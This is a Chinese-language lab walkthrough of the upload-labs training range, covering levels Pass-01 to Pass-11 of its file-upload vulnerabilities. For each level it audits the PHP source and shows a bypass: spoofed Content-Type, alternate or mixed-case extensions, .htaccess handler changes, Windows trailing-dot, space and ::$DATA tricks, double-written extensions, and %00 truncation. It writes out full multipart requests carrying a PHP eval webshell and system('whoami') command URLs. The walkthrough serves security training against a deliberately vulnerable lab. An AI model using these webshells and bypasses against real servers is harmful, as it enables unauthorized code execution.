靶场搭建
Windows
下载作者提供的PHPStudy整合版,避免bug
https://github.com/c0ny1/upload-labs/releases
Linux
有一些关卡在用Linux的靶场
docker run -d -p 80:80 cuer/upload-labs
Pass-01
源码审计
<script type="text/javascript">function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
</script>
只有在js代码中进行校验,提交到后端的PHP代码处理没有任何的过滤(前端校验等于没有校验)
攻击
前端js验证
- 直接上传图片通过前端,抓包,修改后直接发送请求包
POST http://192.168.1.17/Pass-01/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719
Content-Length: 378
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-01/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png<?php @eval($_REQUEST['shell']);?> -----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="submit"上传
-----------------------------225474232222570505221243396719--
- 修改前端,禁用checkfile()函数,即可上传成功
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
前端验证都是纸老虎
Pass-02
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
源码审计,通过检测报文发送数据中的Content-Type 的值来对文件的类型进行过滤,只需要发送报文的时候将Content-Type值改为image/png,实际仍是.php,即可绕过,形同虚设
攻击
POST http://192.168.1.17/Pass-02/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389
Content-Length: 375
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png<?php @eval($_REQUEST['shell']);?> -----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="submit"上传
-----------------------------42773365403714671171577664389--
服务端对Content-Type进行字段验证
浏览器访问http://192.168.1.17/upload/1.php?shell=system('whoami');
执行命令返回
知识点
服务端对Content-Type字段的验证,修改字段上传绕过
Pass-03
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
审计源码,发现其只过滤了 '.asp','.aspx','.php','.jsp'
这些文件后缀,构造其他后缀的文件如.phtml、.php5即可
攻击
通过上传.php5、.phtml等其他后缀绕过限制
ps:用Github靶场的Release环境,就可以解析了,自己配太折腾了
知识点
多后缀解析php文件可上传绕过
Pass-04
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
相比于Pass-03,增加了许多黑名单,但是忘记过滤了.htaccess
,服务器是Apache可以这样利用
攻击
1、先上传.htaccess
后缀文件改变Apache 服务器的配置,将所有的.png文件都已php来解析
AddType application/x-httpd-php .png
或者
<FilesMatch "文件名">
SetHandler application/x-httpd-php
</FilesMatch>
选择方式一
2、上传后,将1.php改为1.png进行上传,成功解析
验证:访问如下url http://192.168.1.17/upload/1.png?shell=system("id");
知识点
Apache服务器中,可以通过上传.htaccess
文件来改变服务器的解析逻辑,需要上传有覆盖的功能
Pass-05
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
相比之前的pass,去除了将输入转换为小写的步骤,因此可以上传.PhP
类型的后缀Bypass
攻击
上传木马,文件名为1.PhP
即可Bypass
访问http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");
有回显
知识点
文件后缀大小写绕过
Pass-06
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
相比之前的pass 缺少了 trim() 函数过滤空格,抓包拦截带空格的后缀,后端识别的后缀名就是php
,实现Bypass
攻击
通过抓包,往文件后缀添加空格,即可绕过
ps:我访问该URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");
没回显,中间空格去掉直接404 not found
查阅资料,windows特性,会自动去掉后缀名中最后的空格
对于靶场最好还是Windows搭建,除了一些需要Linux关卡
打到这里我赶紧下载官方环境,再次进行测试,访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
回显成功
知识点
windows特性,会自动去掉后缀名中最后的空格
Pass-07
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空
相比于之前的pass,缺少了deldot()函数,删除文件末尾的.
利用Windows,1.php.
会自动重命名为1.php
的特性
抓包,修改文件名,实现ByPass
攻击
POST 携带的数据如下
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="upload_file"; filename="1.php."
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?>
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="submit"上传
-----------------------------1148941150563825243932695907--
访问该url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
有回显
知识点
利用Windows,1.php.
会自动重命名为1.php
的特性
Pass-08
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空
相比于之前的pass,删除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
对字符串::$DATA
并没有进行过滤
通过上传后缀.php::$data
进行Bypass,1.php:$DATA
文件名与1.php
一致
攻击
抓包,修改文件名,报文(POST 数据)如下
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?>
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="submit"上传
-----------------------------281663601630465474662581018521--
访问http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");
有回显
打开图片的时候把末尾的::$DATA
删除就行
知识点
1.php:$DATA
文件名与1.php
一致
关于::$DATA的解释(GPT
在 Windows 中,使用 1.php::$DATA
来创建文件时,会有以下效果:
- 主数据流:
1.php
是这个文件的主数据流,包含文件的正常内容。比如如果你在这个文件里写入 PHP 代码或其他文本,它就会存储在主数据流中。 ::$DATA
的含义:在1.php::$DATA
中,::$DATA
实际上是对主数据流的引用。也就是说,它引用的就是1.php
文件的默认数据流。它没有创建一个新的、独立的数据流,而是直接引用了1.php
自己的内容。- 不创建额外数据流:如果你尝试直接使用
1.php::$DATA
这样的文件名去创建文件,系统只会把它当作对1.php
主数据流的引用,而不会在文件系统中创建一个新的数据流。因此,没有实际效果上的变化,它和直接访问1.php
没有区别。
总结:
- 不会创建新的文件:
1.php::$DATA
实际上是引用1.php
文件的内容。 - 没有附加数据流:它没有创建或使用附加数据流,而是直接指向
1.php
自身的默认内容。 - 等同于访问
1.php
:当你尝试读取1.php::$DATA
,其效果和直接读取1.php
是一样的。
换句话说,::$DATA
并不是用于创建新的流,而是表明当前正在访问文件的主数据流。
Pass-09
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
首先看下$file_name = deldot($filename)
这行代码, 它的作用是将上传文件最末尾的"."去除掉了, 我们可以利用它这个机制来绕过后缀限制, 例如上传一个文件名为webshell.php. .
, 经过deldot函数的处理后文件名为webshell.php.
然后再看下strrchr
函数, 该函数的作用是返回的字符串从指定字符的位置开始,包含指定字符。因此,$file_ext
变量中保存的是文件的扩展名, 也就是说最终$file_ext
的值为.
$deny_ext
是一个存有黑名单后缀的数组, 后面代码判断$file_ext
是否是黑名单后缀, 由于$file_ext
的值为.
, 并不属于限制后缀, 因此能够上传成功
攻击
利用 trim()、deldot() 等只删除了一次,并没有循环嵌套删除的漏洞
上传文件时抓包,将文件名改为1.php. .
即可,POST数据段报文如下
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
Content-Type: application/octet-stream<?php @eval($_REQUEST['shell']);?>
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="submit"上传
-----------------------------374897871012500191664085237289--
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
ps:直接用靶场Release仓库的环境就行,省事
知识点
利用Windows写入文件时,1.php.
会直接省略末尾的空后缀.
实现绕过
Pass-10
源码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
trim
去除两端空格
str_ireplace
把$file_name
中的$deny_ext
替换成""
由于没有循环过滤,可以双写后缀名绕过
攻击
上传1.pphphp即可绕过
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
未循环过滤,双写后缀绕过
Pass-11
源码审计
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
简述代码逻辑
- 定义一个数组,里面有一些常见图片的后缀名
- 提取文件名的最后一个
.
的后面的内容 - 判断后缀是否是合法文件名里面的
- 如果合法,Get请求获取save_path,拼接写入
从上述分析可知,通过GET请求来获取save_path
参数的值, 也就是说这个值是可控的, 若我们将这个值修改成../upload/1.php%00
, 也就是在文件名后面添加截断符号%00
,这样做的作用是将截断数据, Windows创建文件时会忽略后面rand(10, 99).date("YmdHis").".".$file_ext
这行代码, 这样写入的文件名就变成了../upload/1.php
%00
是 URL 编码中的一个字符,它表示一个空字符(NULL 字符)
攻击
上传1.png文件,抓包拦截,修改Get请求save_path参数传递的值为../upload/1.php%00
访问 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回显
知识点
Windows系统%00
文件名截断
Pass-12
··· 待更新
参考链接
全面了解文件上传漏洞, 通关upload-labs靶场!